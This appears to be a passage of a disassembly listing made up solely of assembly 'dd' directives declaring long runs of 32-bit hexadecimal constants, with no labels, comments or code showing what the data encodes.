		dd 0D14F3F27h, 4C8BCB87h, 90B47333h, 0BD0DB100h, 53C3A6C9h
		dd 0B5C2002Fh, 8B43AC64h, 0B83ADE37h, 2B4D0CFDh, 24F23156h
		dd 1C90328Eh, 0B1C4CF0h, 0B900B518h, 221AAA68h,	9FB7774h
		dd 14F1E87h, 0D62D0C20h, 850080C1h, 3132CE50h, 4D94EDCh
		dd 0CD3F279Dh, 0EDCFC1BDh, 13C2FB65h, 0BEC10497h, 108022EDh
		dd 0B2213D41h, 4D001199h, 0EAEF6BE8h, 3D690CD6h, 6F9E4330h
		dd 808B9D1Bh, 0C0BA79DEh, 0A100675Fh, 0C2B1841Dh, 1E909908h
		dd 6E59EA7Eh, 971101E1h, 0F8A74A8Bh, 75077C3Ah,	42B4308Ah
		dd 5A5225B1h, 5F4B20h, 0D86EC263h, 0B58C3DEBh, 0E39DBE00h
		dd 52087490h, 0AE4A003Ch, 0D6982B24h, 0CC01731Dh, 777AD001h
		dd 0B0E02248h, 173516FAh, 0D53F00E4h, 0A179DA2Dh, 550071F0h
		dd 0C21FBFC5h, 383FC6Ch, 0B1FE64E6h, 1B9FDD9h, 0F34EF073h
		dd 0EFBE5Ch, 0EC16E954h, 176769h, 445C1837h, 25B262B0h
		dd 9CE4211Fh, 80CB604Fh, 0E99261AAh, 1D4D0070h,	0E3207658h
		dd 0D900A9B3h, 2A3931D2h, 35F59B9h, 0EFD40998h,	4FE02283h
		dd 0A6009D12h, 0F09CD5B7h, 261D2h, 0C38F6BFDh, 1B2B80BBh
		dd 0F40EDEECh, 40D4844Bh, 18D93629h, 0FE780158h, 0C41BFC79h
		dd 0CE23C42Fh, 76651407h, 511011A5h, 7ED58ACh, 0E86031B8h
		dd 89806071h, 7F00B179h, 2D3FBD97h, 0ADD4B9h, 0F163CC17h
		dd 2F967A4Eh, 4B453300h, 0CF982435h, 42E90EFBh,	2B60CBACh
		dd 620940C7h, 397B1C92h, 8DA3B201h, 11FB8C05h, 1F6C60h
		dd 3D86DDCh, 1DCD3A62h,	0A5915B04h, 68809C24h, 59BCAh
		dd 8D6CBB92h, 0B87EE837h, 592B760Ah, 1C9124D8h,	46EC0F00h
		dd 0E3172861h, 0FEACA600h, 24996A67h, 5F250736h, 6086722Dh
		dd 0E8B28347h, 53170800h, 567D7AD8h, 0B2B0E1h, 33C349ACh
		dd 0E541B639h, 85C88B03h, 872881DEh, 0C0C36E57h, 1A25E8AEh
		dd 8B690008h, 0ECABD70Bh, 23E806FBh, 0EBA34D00h, 6C3CC316h
		dd 0F4C50E3Eh, 62C0500Dh, 21741194h, 6FA65507h,	0E960AE7Dh
		dd 0F75B8Eh, 1F4C311Ch,	46686953h, 0D10024EEh, 6252551Ah
		dd 2AF0A3h, 84A2BFB6h, 0A2F9B33h, 0A60C1C00h, 8B17B2DAh
		dd 64AE5C40h, 0D20B600Eh, 0E626F9A0h, 790E339Eh, 631DD9C4h
		dd 0D003F513h, 361FA83h, 34B131BAh, 0D1C8AF2Bh,	0A9788E42h
		dd 0E7DCEF03h, 80877A86h, 0B88D9664h, 9B900057h, 977B497h
		dd 6A7D9AE2h, 8CFB8A00h, 75A39311h, 0F4580CEAh,	4A58A2A8h
		dd 29A0F900h, 0FF2B4C6Eh, 0CB670071h, 2FE1C28Eh, 27094E5Ch
		dd 0A19005B7h, 888A2534h, 3E238A30h, 0BA00AA47h, 0ABBD04A2h
		dd 4F093CDCh, 8054ADA1h, 2D4E600Ch, 1CD73B6h, 0BE755CE6h
		dd 32EC8BA6h, 0D201705Ch, 48EED4C0h, 1C30B6B7h,	97FA9Ch
		dd 7A37271Dh, 0A8D3EDCh, 2C48A426h, 2A002093h, 5EF35376h
		dd 13C90ECFh, 0D560A528h, 0BCB9E22Ah, 6F03DC75h, 0D75A2F71h
		dd 0FC70F896h, 0FABA00FBh, 0F8EFC53Bh, 4174A128h, 0DEF49871h
		dd 50251B0Eh, 0D2B00044h, 701DBAh, 296DE146h, 0FA5187EAh
		dd 4E0062F6h, 6B680BC3h, 1FA98BB5h, 81FDE905h, 881AC1F9h
		dd 7894400Eh, 0DD00F1ADh, 19C5B82Eh, 6198ECh, 0A1AED2A5h
		dd 599C4781h, 0A800BBEEh, 5781E1Ch, 7F8A22EEh, 0BE6500D3h
		dd 87DFE494h, 0C41E69D4h, 0E179C647h, 99A5A041h, 0DF4F30h
		dd 7757A406h, 0D182A324h, 24F448h, 60FBA68Fh, 4BCC56h
		dd 0BEEA2DDBh, 0E52AABC0h, 0EF834E00h, 253FD92Ch, 1496FC33h
		dd 0C43A1EB2h, 39FEB300h, 0F1587C4Bh, 3EC00C3Dh, 80D4BE15h
		dd 9DF21D6Bh, 19A3F8Dh,	6FC88112h, 6004E998h, 0BD0FEADFh
		dd 61B0C48Ch, 0D07F1942h, 0FE009433h, 587DA5DFh, 5003C6E8h
		dd 0AF447C18h, 0F045F3B1h, 52D5EECh, 14EB0A97h,	0C5E00058h
		dd 818BCC40h, 98C70B12h, 0ECE75C40h, 0F85F442h,	82DF3D65h
		dd 48931200h, 6F007558h, 717BF186h, 901E799Ch, 29405838h
		dd 53DF0100h, 433526B7h, 0ACED7B00h, 0E0A1D8D4h, 3BB41EA2h
		dd 5FBC4E18h, 0B554D5E0h, 4B1FA842h, 0E6018C6Eh, 2C36974h
		dd 90470DDCh, 0CD1802A9h, 9048EA4Bh, 7BC994C0h,	71AC6B48h
		dd 0A6234C01h, 4A0968Dh, 90150C20h, 33E0D2A0h, 60988F80h
		dd 3407B0A9h, 0DA30582h, 0F79EFD80h, 0AC1D0087h, 0BB06196Ch
		dd 4B98BD66h, 0B3344900h, 0AD2EF1D3h, 0B136002Bh, 1BE0CC4Ah
		dd 590F562Dh, 0AFFD3F19h, 0DE405FA2h, 6B1165FEh, 0FE9064h
		dd 0FF208A7Fh, 0AE576288h, 8098E300h, 0CCE6E065h, 3B304E4h
		dd 0C2DD5340h, 7848646Dh, 0F2036F1Ch, 0B6793496h, 21CBC8EBh
		dd 0C278001Bh, 0A13806B8h, 0AAFE4151h, 58424B0Fh, 2D40FEFFh
		dd 0ABB32E47h, 0BB563B32h, 0E502AE80h, 227668B6h, 7E66BF38h
		dd 98E75C01h, 5D8CD294h
		dd 0B2190BD8h, 6EFF0F88h, 35AF51E1h, 0C2C038EEh, 0D3B8F429h
		dd 0E5F98000h, 4CA1AD16h, 41590045h, 19C3CB2h, 92006DE2h
		dd 0E6C5571Fh, 7B9BD32h, 649842BBh, 867F39Dh, 5D043DA0h
		dd 14AEC203h, 88031039h, 5A7C6Ah, 0CE8453EFh, 974B0963h
		dd 4FD43200h, 0F5E8D8F3h, 2CEA004Dh, 0F515A91h,	901EF2C4h
		dd 0DA923819h, 0E06FB862h, 19B363Fh, 7277097Ah,	343F6BEFh
		dd 0F800CB68h, 18350E03h, 48EA39E1h, 3700480Fh,	0FC06B552h
		dd 2EF28576h, 0CDE10226h, 48CA7500h, 0B84D34h, 17EC1421h
		dd 90F1B236h, 82B7E500h, 43A19EB1h, 91ED0F1Ch, 8CE063C6h
		dd 762FFF61h, 0B8384502h, 0A2D1F9C7h, 0C06CADB0h, 1D680100h
		dd 40DEAE1Bh, 0EBFC6D42h, 0E401C33Eh, 6E446562h, 0C020A16Ah
		dd 533C062Ch, 0C9645DA0h, 2271D700h, 0CC628F39h, 0FFB714F8h
		dd 175C581h, 1734D1C4h,	0E4409E5Fh, 0DA03CABDh,	15C102C0h
		dd 0DD9B880Bh, 7936052Ch, 803AFBD0h, 0BC09D920h, 0E4C25A09h
		dd 70601E8h, 18C84D6Ah,	85709A8h, 0B8A015D2h, 54DD373Fh
		dd 1A4AE49h, 5541E692h,	9850C3BDh, 2EEF9D32h, 51CB7C1h
		dd 8194FBCDh, 64AE867Ch, 53510758h, 65832A0h, 2C7EBF81h
		dd 2FE005E1h, 858E63AFh, 0C380D82Ch, 4E6E72C5h,	3EDE9C00h
		dd 84C8D7h, 0A1082719h,	0BED114B4h, 0F0B37200h,	205A693Ch
		dd 0E3F50046h, 2D106A47h, 0B900E109h, 7A5558E8h, 70805A9Eh
		dd 7F66F4EBh, 4EA30072h, 8DB85DCCh, 7D3B69E6h, 404C98D2h
		dd 2E5518Ah, 0B066CC4Fh, 14493EFAh, 0DEEAE8C6h,	0C395E400h
		dd 97BC8B76h, 87C90180h, 0CB72FFB8h, 0B3E0F423h, 561C2C74h
		dd 0ED85A27Eh, 0F400A3E7h, 4E4681D9h, 0A85B4C73h, 0C3CDAF12h
		dd 4D8C768h, 620396BCh,	0FFD1485Ah, 0E051F026h,	6D4D0A6Bh
		dd 0C0B03649h, 0BBD7DC17h, 3F7EFD1Fh, 0F9324440h, 3028E4h
		dd 0E3438A2Eh, 9559BBA0h, 3BF42B4Dh, 29860F65h,	0D5A9C2D7h
		dd 11D46079h, 0DC90170Fh, 5A2808BDh, 0F46CF0h, 2E26B9EAh
		dd 28490585h, 0BFFFC900h, 1A07CB01h, 80025C98h,	0E6075139h
		dd 0E05A3CA2h, 0A6F1A3E0h, 9078E4B0h, 9E4970Bh,	0A4788072h
		dd 7179F7DDh, 0AC9AFDh,	88022999h, 69C8B073h, 42DD6A07h
		dd 9C40D8C5h, 0C6F6A0h,	0E020522Eh, 4B6DE95Bh, 0F7444E00h
		dd 32FCFEDBh, 537685h, 0C15FD0DAh, 0ABA4E073h, 3080F8E7h
		dd 0CE0066F0h, 7660D18Ch, 28AF5D6h, 8AA2DB2h, 0A080311Bh
		dd 0C3365D57h, 50134102h, 5B309538h, 0E6A084D4h, 5B07AA0Ah
		dd 41F06E4Eh, 1F018CBh,	52F18AECh, 20AECEC4h, 2D009ABCh
		dd 27AD742Eh, 0A8C06878h, 8566B4B4h, 907C4781h,	3820831Dh
		dd 12580162h, 300307C7h, 0FA8AD482h, 0A2206301h, 0C1BE2921h
		dd 372424h, 0FE255556h,	8B9F45E8h, 0FCEF9E2Ch, 0AA53BC40h
		dd 0B6D0A054h, 0E5D50309h, 26842519h, 7BE832E8h, 21E19460h
		dd 40313Bh, 0B6456420h,	0E8BECB69h, 184E5201h, 5C36AC8Ah
		dd 2FC04828h, 6ABBBC73h, 74CBC40Fh, 2507038Ch, 94A1F8F6h
		dd 0CF2F0097h, 1188EAFAh, 3A3EB584h, 7BDF83F9h,	0B097FD0Eh
		dd 35D423Eh, 1EA9F1E3h,	3288C937h, 3B1D8C78h, 0CD00D861h
		dd 0E4FAE3DEh, 0F8FB0024h, 0E0B66EA9h, 1F001E8Fh, 3B1B8E5Ch
		dd 0F14078h, 571836CAh,	0D2955BDDh, 0FD14A400h,	74D85D62h
		dd 0E86D00EDh, 6945A58Dh, 0E6013BFEh, 587E169Dh, 0B8605117h
		dd 108500D8h, 50C3A967h, 0E93F80FEh, 3F658015h,	0A7941216h
		dd 11D90355h, 0CBFDC78Ch, 0D0FFFCD3h, 62FB07D7h, 775064Ch
		dd 32AD8B6Fh, 0FECA36B0h, 2BA60010h, 5C98251Ah,	8D2C1D2Dh
		dd 0A7806870h, 56D05807h, 4CC700B6h, 6D68E604h,	541CE923h
		dd 978992F4h, 5A202276h, 804C452Fh, 40D15F92h, 6D3EDFCBh
		dd 0AC898063h, 0DC4ED564h, 11C700A6h, 0C3C45D2Ch, 963A0AC9h
		dd 8E30BE8Ah, 47504DA9h, 0DAF07EF0h, 41AFCEEh, 87B4F76h
		dd 303490BAh, 0DC00ED97h, 536510ACh, 58D3A5DFh,	6F1E208Bh
		dd 7E300091h, 630D8D6Eh, 28B14Ch, 20B9567Dh, 0F8B753DAh
		dd 9EE836h, 0EFA95085h,	76801F4Ah, 0EE011C0Fh, 88009CC9h
		dd 7EBB238Dh, 7A023F19h, 0F9C6BFh, 2E9CE0C1h, 0E922A8B9h
		dd 79F6A20Ch, 3CA118A7h, 90000481h, 0EF31E4F3h,	0D40023F9h
		dd 2644E61Bh, 282EE210h, 0E84C5407h, 7C0F58D5h,	11E33003h
		dd 79C0D146h, 233066A1h, 0BE13F054h, 5C5700B8h,	3D35F0AAh
		dd 0F76A649h, 661EE000h, 19E47C42h, 0B8D93BADh,	0CA0CF100h
		dd 0B10AFE3Ah, 4C72E900h, 88CB4766h, 0E6B500BFh, 0B4EF8F22h
		dd 1800C2C9h, 0A98027EBh, 0B932BDh, 4E0263C8h, 901AF779h
		dd 0A0A8B06Fh, 775287A5h, 0EE933B4Ch, 46354400h, 1EE4B84Bh
		dd 0C1E86F00h, 1365B468h, 7C9A28B5h, 9F3200CFh,	2E29DCCBh
		dd 6E1811A3h, 0C808A4FCh, 0FF20C014h, 2AECF49Fh, 1E066B00h
		dd 6A7CF9A7h, 270B0076h, 3660F0FDh, 21E2E4EDh, 588DB50h
		dd 5BE8C800h, 923764AFh, 88DA6373h, 0D0A59D16h,	69EAFE24h
		dd 0FA9EF100h, 3764F30h, 78B400A6h, 5F1DBEC2h, 4E6AC660h
		dd 13802C38h, 567635A3h, 0C511C0AFh, 1EC7BC1Fh,	0BF949603h
		dd 0A353A4F6h, 0B6210155h, 0B1DBBCD7h, 0E56CF82Fh, 0A544BE24h
		dd 0CDD98421h, 3A005A18h, 7521E75Dh, 0FA24AA5h,	8E066987h
		dd 31C18F20h, 6A3F5119h, 0AE02F9A7h, 2416CE85h,	92284864h
		dd 70CFA0EDh, 0E8DA7A89h, 0DCEEA179h, 0A38AC64h, 0D3156776h
		dd 0FEDD01A0h, 0C88014FDh, 1000EA75h, 246760B4h, 8F5DF9h
		dd 784CF65Fh, 80F4B6CBh, 0FF4E3900h, 584ACD11h,	71B97420h
		dd 942158EBh, 9BCCFC00h, 70D75730h, 7DF5AD00h, 2622025h
		dd 72B90014h, 6441484Fh, 943846DBh, 636B02F7h, 0E0964068h
		dd 10FC4BBh, 72A3E276h,	0DC9B0688h, 1E012836h, 4553C2F4h
		dd 0B8E71B82h, 0C06634h, 0A775C971h, 4198FD44h,	2FB24E0Fh
		dd 9954402Ah, 1C34996h,	0FB52AC77h, 0F41AA598h,	5600B58Ch
		dd 0CCC0B4B1h, 50217Ch,	0F9C9EB8Ah, 0E19166FBh,	0F5815200h
		dd 2579DFFDh, 0CB800370h, 0A801967Dh, 0A276B2F8h, 21A04400h
		dd 10327312h, 0E7B7C72h, 0B3D58BCBh, 24A87C80h,	1517F57Ah
		dd 2509A25Eh, 3C10018h,	0C7B4542h, 855599D7h, 0C8180A50h
		dd 2490C1C5h, 0E6260074h, 0EB8BA373h, 0FC01C0B0h, 3C91F7F3h
		dd 82E4E8D8h, 9E62145Fh, 0F500EF24h, 8D572156h,	7A0099CAh
		dd 85A7D1DFh, 67363Eh, 0BDFBCF62h, 0ECC9E033h, 3BD36D00h
		dd 552D845Fh, 4B1A007Ah, 79219E0Eh, 4200AAB8h, 89269123h
		dd 8707BAh, 6735A85Dh, 866EFFEDh, 0B0B28003h, 0B036343Ah
		dd 4E8AD3h, 0CD3C671Ch,	0FD703163h, 7199D500h, 0F2195740h
		dd 11CC0E2Dh, 81803E54h, 2549E96Ah, 7D00777Fh, 0C0ADE61Dh
		dd 760C41h, 7C73966Fh, 0CAB43951h, 3AFFA1Ch, 2653E2C0h
		dd 39885FEBh, 0FF004D40h, 841F2C68h, 7D0052E6h,	1CB4E7E3h
		dd 1EA47A4Eh, 5F8D9A13h, 34A80032h, 0AC286B67h,	0D6CC000h
		dd 0B30695CCh, 8CB039h,	1080CD51h, 0ED4C6A8h, 33FB371Dh
		dd 17573C0h, 2C8A35h, 0DEE129B0h, 21CB073Eh, 2581852Ch
		dd 609B670Eh, 60914086h, 44CA0773h, 0F0B8465Bh,	0F8BAE7C7h
		dd 7CC52100h, 1BCFFF37h, 3C07160h, 52DB3133h, 9BC87107h
		dd 6700A5EFh, 7A487BAAh, 81ECD2h, 0CBF39224h, 531C6B3Dh
		dd 0F76A4F00h, 5F102DE3h, 3C023AD2h, 86F47A8Eh,	470DF940h
		dd 0EEA17089h, 519BF3E8h
		dd 0F24C2050h, 0D88DE700h, 0C7029B1Ch, 0BD5300Dh, 0D0C6A741h
		dd 4D0F4F76h, 800C8BAFh, 94052A79h, 0EEB90972h,	668376F2h
		dd 0A8C889DFh, 95000DC2h, 150211E1h, 0F67E3D38h, 1CD91CBEh
		dd 0C07857Fh, 0C6408346h, 14691860h, 59A84DBh, 9B0DC3C5h
		dd 85EE80CEh, 7461F7EEh, 991FAA28h, 0C00208D0h,	7281DC30h
		dd 1B00D9B2h, 7391BA71h, 0C049F8B6h, 2F415951h,	0ED01EFB2h
		dd 2E998EE5h, 0D860982Ch, 70090040h, 0DA96E120h, 1300B312h
		dd 6DA04AD4h, 390D458Fh, 18E5716h, 0B2E0C16Ah, 7DA455EAh
		dd 5BA78300h, 0C738F76Fh, 1C7D39h, 87BB3673h, 0AD77B3D9h
		dd 4F075B00h, 992AA7B1h, 66860322h, 0DCB457B6h,	0DBC550F7h
		dd 0AAF69DA3h, 62488F2Ch, 307A3B00h, 75A65FEh, 0DB885C40h
		dd 821FE099h, 0F6029B0Eh, 440FA14Fh, 0B86D6328h, 7CEFC7h
		dd 849C3581h, 85BC31BAh, 9B7E9300h, 0EE092DB8h,	0DCD3037Ch
		dd 4C5B879Ch, 0C93BD0E0h, 953A020Ch, 1040C4h, 99903267h
		dd 371BD660h, 5027783Ch, 38A5DF94h, 0B26097E4h,	340F12CCh
		dd 61C2A178h, 0A2EA1473h, 47163E0h, 0D83B5E68h,	0A056C0D9h
		dd 931E2D52h, 3C806EB4h, 0F8DB907Dh, 0D2983BE6h, 79B06838h
		dd 27A425FCh, 34B59C01h, 0D53F3008h, 3DD1A670h,	0B631AF47h
		dd 0E4EFC228h, 933CD4F1h, 6775007Dh, 0B635CCB8h, 60A7F842h
		dd 77F584Ah, 326750A3h,	52441118h, 0AAE06A00h, 7CE83D19h
		dd 0DF62A12Fh, 65EA7F80h, 1B0C0176h, 61F07483h,	3E600014h
		dd 0B03275A0h, 618C178h, 0F6585607h, 6BE000B8h,	1913F2C6h
		dd 100B1CEh, 33ABDA92h,	3B662334h, 0D8802E20h, 707D8538h
		dd 2F0E3701h, 80CC9102h, 0F049CE15h, 1F0D0030h,	14391722h
		dd 4F071101h, 4D544E2h,	0A210AAF7h, 692652h, 3FD92F3Ch
		dd 2DA51C3Bh, 82E6AC00h, 19DBFBAEh, 1F1BE8B8h, 4A995ADh
		dd 0C029BD65h, 317249A8h, 3EB81D00h, 84E442BFh,	6B5C00EDh
		dd 0C281F470h, 710028B6h, 6D14209Dh, 747233BFh,	0C49A3060h
		dd 3E13F320h, 403FA400h, 0E6FA9F0Bh, 0CC4C3B01h, 0AAD78B8Fh
		dd 2080F80Bh, 16B81ADDh, 397559C7h, 0DAF06F17h,	1EAA2C32h
		dd 493F8B99h, 0A5D521Fh, 0C300335Ah, 0C06D1837h, 228100F5h
		dd 92AB8E14h, 0EAFE6C1Eh, 0B291040Eh, 0F8585853h, 0C18E0018h
		dd 6EA7BF46h, 3D006875h, 0ED7E4E2Dh, 500B998Ah,	3988B8h
		dd 7DD625A9h, 0B6A093F7h, 68E063EAh, 0BB2FD900h, 0E68A08C9h
		dd 311D05D0h, 30691CEh,	33F6D3CDh, 58E5B0C1h, 12306E04h
		dd 61FE20D4h, 0F84F04C4h, 0C12D0A9Eh, 0E8BB9B7Ch, 860F8253h
		dd 0A06E8739h, 0C1F22FCBh, 0E9C338ECh, 0E5069600h, 0EA622A44h
		dd 0F843A600h, 0AA55A09h, 39BA007Ch, 448B1D40h,	99FA46E8h
		dd 96017398h, 0D44BD5F8h, 9BF0A11Ch, 0A867004Ch, 0B1570366h
		dd 11003C51h, 15555C60h, 1263205h, 2FD6812Bh, 7030720Ch
		dd 0C71D691Eh, 0D142933Ch, 609CFEE1h, 1DC548h, 94E6E30h
		dd 78610BCEh, 3DDD4500h, 9B10F992h, 0D6E10058h,	0FD43C4F1h
		dd 7D3A7EF2h, 0CA5200DDh, 94D3511Bh, 0BEFC0049h, 64CD6EEFh
		dd 0AF01D442h, 0F66AC167h, 0E5C99A8Eh, 0FB93DCh, 0DAD8275Bh
		dd 0D3AD993Ch, 6D2BC00Fh, 9C0FE0FFh, 7E1B646Fh,	0A85200F0h
		dd 0BCB86A87h, 2C008F69h, 0BABEAAA2h, 4F70D7B4h, 0A58A8034h
		dd 2003FDAh, 60877B26h,	51D3E6h, 0B0FD3A0Dh, 56D28186h
		dd 1CCBCA09h, 688980C8h, 7987705Ah, 3D067485h, 4A80F7E6h
		dd 8E69E123h, 0EF042008h, 0AEACC656h, 165A0891h, 3E5535E4h
		dd 0A900BBCBh, 99FC75E8h, 5C0265A3h, 901FC691h,	282CDCAAh
		dd 4D280118h, 82334A64h, 5EBA70CFh, 0D24EA000h,	79EE5309h
		dd 0A3120A69h, 4AC946Dh, 800B9F0Eh, 7B3CA928h, 981B8200h
		dd 0EAE650C8h, 2B290008h, 0E3C2A615h, 0EC00BEA9h, 85822E57h
		dd 0FE47B75h, 0D34577EAh, 0B87850C3h, 8D51F6F0h, 8FA47607h
		dd 7D105956h, 0FFA24873h, 1EA5F8h, 5CD1241Ah, 0A4131828h
		dd 0CA5B0507h, 767008BBh, 24B3279Ch, 8080F8A8h,	0C11E5785h
		dd 0FE02C675h, 0C29D025Ah, 60A080CAh, 0ED1EA76h, 0B97D0ABBh
		dd 0A8AFE8C0h, 0DE075D8Ch, 8374F54Dh, 51AE60AFh, 64EC46h
		dd 95D91D73h, 6556532h,	8AF94300h, 4F7B28B1h, 0EA5400AEh
		dd 0CE1A916Fh, 6D067C9Ch, 9388B324h, 0C0EF5078h, 0D0A00219h
		dd 0DA3E86F3h, 0E8500260h, 7D705900h, 8FF12405h, 3EE0E13h
		dd 40BE3E93h, 0BD8ADB33h, 10C03722h, 7BB5A6C0h,	40FF01ECh
		dd 1B592C63h, 0EED72061h, 3D2E9D00h, 2C368ACh, 7D9F0388h
		dd 0E8178D86h, 0A3BAD798h, 77941F50h, 0AF652403h, 0A84C3EE5h
		dd 741602h, 52378CD3h, 32D16E23h, 58683F03h, 81C7B657h
		dd 0E4C8493Dh, 0EFF0CAh, 6A51449Fh, 247201CEh, 68B9E100h
		dd 9499F967h, 577078Ah,	0D27420DCh, 3048369Ch, 0D558C09Bh
		dd 0CAF200D3h, 0A88E60F4h, 6AD2009Fh, 0D338D946h, 6530273Dh
		dd 0C2C48836h, 716628DAh, 0EA487AA0h, 60D84949h, 129B9611h
		dd 0F8474A8Fh, 7BA1A5C7h, 42EC8385h, 33AE0045h,	6E3BD3FBh
		dd 0DB776CF3h, 10F0FC00h, 0DC34D2A0h, 0A9B90085h, 3ABD1171h
		dd 2A07291Eh, 746CC6DEh, 94E5A080h, 0FC4D7716h,	43590175h
		dd 3F442C19h, 0E20A70BEh, 80FD093Eh, 387414B6h,	16D0197Ah
		dd 326B760h, 7DC22959h,	0BE7015E0h, 0D7FB532Ch,	0CDE9F905h
		dd 4A3D5DC0h, 0B2C9038Dh, 0CE7B6FAEh, 200048E6h, 7C84DB19h
		dd 29CC12h, 0FA5AF509h,	0D5A643DEh, 2A023E00h, 9736DACEh
		dd 165DB0D3h, 0EABC9F7h, 52458404h, 0C6B00099h,	42445445h
		dd 0F800E9FEh, 754BD7E7h, 11D43D6h, 0A39065CFh,	0ECA7DD7Ah
		dd 263A3CCBh, 8200F922h, 76D6473Fh, 0E578434h, 2D43C6FCh
		dd 0AA41D1E0h, 0A4F4D2A7h, 246038h, 4C5AD655h, 0F57DA3h
		dd 0DB816C22h, 1A3A69E5h, 7B625900h, 0BA9673EBh, 54D91267h
		dd 12D8404Dh, 279BA4B3h, 0B7E3000h, 64104CB1h, 8EA800ABh
		dd 0D9E48CC7h, 0CB38B668h, 23BA692h, 88548039h,	9E4795F1h
		dd 6C5300D3h, 0E3D4F4F9h, 68003E2Ah, 0A6A38C5Dh, 0DFD60Dh
		dd 6528549Ah, 2D5F67FDh, 0CE34FB00h, 0B8BDF052h, 0B760EA5h
		dd 0C7E035DCh, 0EBCB27BFh, 0AB67D900h, 0F5DF015Ch, 0AC713Ah
		dd 15C7E702h, 0EB97C226h, 68918D07h, 0AFA062CAh, 725C20h
		dd 5294C38h, 3E66470Ah,	0C4DF8C00h, 8A612FFh, 0F77F0062h
		dd 3509C287h, 480AF5F1h, 8189B404h, 6EC9E200h, 3361B2h
		dd 6665967Bh, 0FC56EAE5h, 3B01F1F8h, 6F4951A7h,	9E305590h
		dd 8EFD50E8h, 858B153Fh, 0C100FC53h, 0B944E319h, 26006356h
		dd 694935Bh, 981E53h, 0BCCAAFDBh, 0FB374C4Fh, 5EBDCC03h
		dd 0E8564297h, 72468A39h, 8D823FA3h, 0C0ACBF9Dh, 2890F7B3h
		dd 7D005C74h, 986237C7h, 11286h, 9D277C9Eh, 0E5E4B824h
		dd 0B02B39h, 5F34ED0Dh,	901B3EFh, 377DA9AEh, 9CDF1700h
		dd 280094EAh, 1F53894Ch, 0D6A0B1h, 761D9A19h, 63517050h
		dd 0EB578101h, 8F7338A1h, 9E2070h, 37A8FEA6h, 1A3B4F9Ch
		dd 29BEFB00h, 1C4232C8h, 64110020h, 0D79C288Bh,	0B20B9206h
		dd 0CE8DDCh, 70C24F82h,	0F9A6A001h, 663F072Bh, 53EFFE2Ch
		dd 2DB07C28h, 0BF0056A7h, 63C04764h, 4910F12h, 81A9B518h
		dd 4CB08025h, 4900C8FDh, 80CCE3A0h, 90437Ah, 63CF7C13h
		dd 0FA16BD0Eh, 0BA1C2A00h, 68E0C950h, 0BB80061h, 0F36308Ch
		dd 2D0041D7h, 9943E91Dh
		dd 174A0D14h, 42DC3D37h, 0F7A229F4h, 0A0B49048h, 0C341FC0Eh
		dd 0ED5D82A1h, 3CF0E325h, 35180B26h, 7D911F3h, 98346300h
		dd 0B74F8BC7h, 750400C4h, 0BD7BDF33h, 0C80213C1h, 5AC52F61h
		dd 767BE06Eh, 0CCD500F5h, 0D40D2D95h, 0A8E48B19h, 4CA48800h
		dd 72FC740Ah, 0F8940F65h, 0BC03A66h, 0DC4411CEh, 10A73Bh
		dd 4D06A2A6h, 606B538Bh, 0C9ABC035h, 16040D7h, 6A8CD538h
		dd 56E8F3h, 0C8637079h,	767BF76Ch, 0DBABA21Fh, 4F3031C0h
		dd 4AB281h, 3D9051EDh, 44C7CD7Fh, 39001773h, 42EFD060h
		dd 1C058D14h, 0C79B2A1Fh, 0CE684C36h, 0CA92C09Fh, 63A367E5h
		dd 7120AA00h, 13DE86Ah,	5C6E710Ch, 3500C77Ch, 0E478E7CEh
		dd 5C011DBBh, 0CADF0EE5h, 0ABF8BCC7h, 0A4D94DAFh, 953DDC00h
		dd 19DAB382h, 7A58CA00h, 787DA1BEh, 0AF613890h,	1D8164BBh
		dd 0CFCAE36Fh, 7780406Ch, 820765B0h, 0D53BAB99h, 0D7002837h
		dd 0C1D56BCh, 9D9F2F01h, 83B1788h, 0AE1E805Ch, 0B87745CDh
		dd 6A2700E1h, 53EF374Bh, 4A127C67h, 0F080F773h,	0F02BCFFh
		dd 62EE684h, 3D225980h,	4A00A355h, 0F6AB1477h, 0A49F17h
		dd 7BBB9DC9h, 21920B07h, 9E01FBF2h, 3C27CF9Ah, 6E800DF0h
		dd 59D47462h, 651F8CC0h, 9E0036DDh, 838A6BE3h, 96E401A1h
		dd 267089C5h, 0D07ECDAAh, 20C0E165h, 0F28CD0ECh, 0A13A002Fh
		dd 62D6DCB5h, 0EF00576Ch, 0BB2A106Dh, 0DD2926C3h, 0F348C030h
		dd 8D24BC21h, 557BCA76h, 236F71E8h, 0F1FF6020h,	54E6778h
		dd 2CE50E9Ch, 8394C0F7h, 33009451h, 8E0F1E20h, 10748Fh
		dd 0B1722981h, 6DEA5524h, 2C20FB3Fh, 0BC18FF70h, 66F23A0h
		dd 0B0220FCCh, 4100106Ah, 7231D9F8h, 339E2E8Eh,	0B088360h
		dd 35CB2100h, 0A9438DAh, 7C71E61Ch, 931900C5h, 4FA0CFCDh
		dd 520198D5h, 0B9736D13h, 7085D9BDh, 271ACC6Ah,	46E6F034h
		dd 0D121266Dh, 99EC19F5h, 0E38E6070h, 5E46AA07h, 7E535363h
		dd 0F9DFB19Ah, 38CB93ECh, 4F80B93Eh, 1F35A0DAh,	0C1004701h
		dd 64D45752h, 1DD69Eh, 277F32CEh, 6DDA687Ch, 47008198h
		dd 0BBB23518h, 0F0A557Ah, 0C6C9B720h, 0B0508A1h, 9283C471h
		dd 0E150E503h, 0B795AE25h, 1F422820h, 818B0F03h, 3DFD45A5h
		dd 8F706400h, 7BFCB7C2h, 3F4EED00h, 0EAFDBD1Eh,	0D87801D4h
		dd 0C1CCBB94h, 309DF947h, 0D0302B4h, 0CE733F5h,	105CC02Ch
		dd 1EC00715h, 4B466697h, 0A27A7870h, 2C16707h, 933373C4h
		dd 987AC0BFh, 149A0318h, 74B562AEh, 24D8C893h, 0F270BC02h
		dd 0B2A37700h, 0DC6ED580h, 5C4E00ACh, 98071918h, 1B0067AEh
		dd 0C73647BCh, 0E1C57Ah, 757F4CE3h, 6B2CEB5Fh, 128D1900h
		dd 119AD06Ch, 63220024h, 0A8F5506Eh, 0A2008613h, 0C17F2862h
		dd 18A1AA64h, 603BD907h, 23F28210h, 0A2D06503h,	83EC6612h
		dd 0CDB0C75Ah, 625D74Eh, 806EA002h, 130F311Ch, 1C1AFFE6h
		dd 56FAF600h, 0FCDD23h,	70436F44h, 7CE2E84Fh, 0CE82261Eh
		dd 0D818411Bh, 9DDFE19h, 14F1254Ch, 83D08583h, 0EC8C4AA8h
		dd 26647E03h, 0E86A2B6Fh, 5C0B5965h, 170E795h, 7744BE25h
		dd 0F0C48726h, 7C00C046h, 99D711F1h, 90B61FCDh,	6B4201C5h
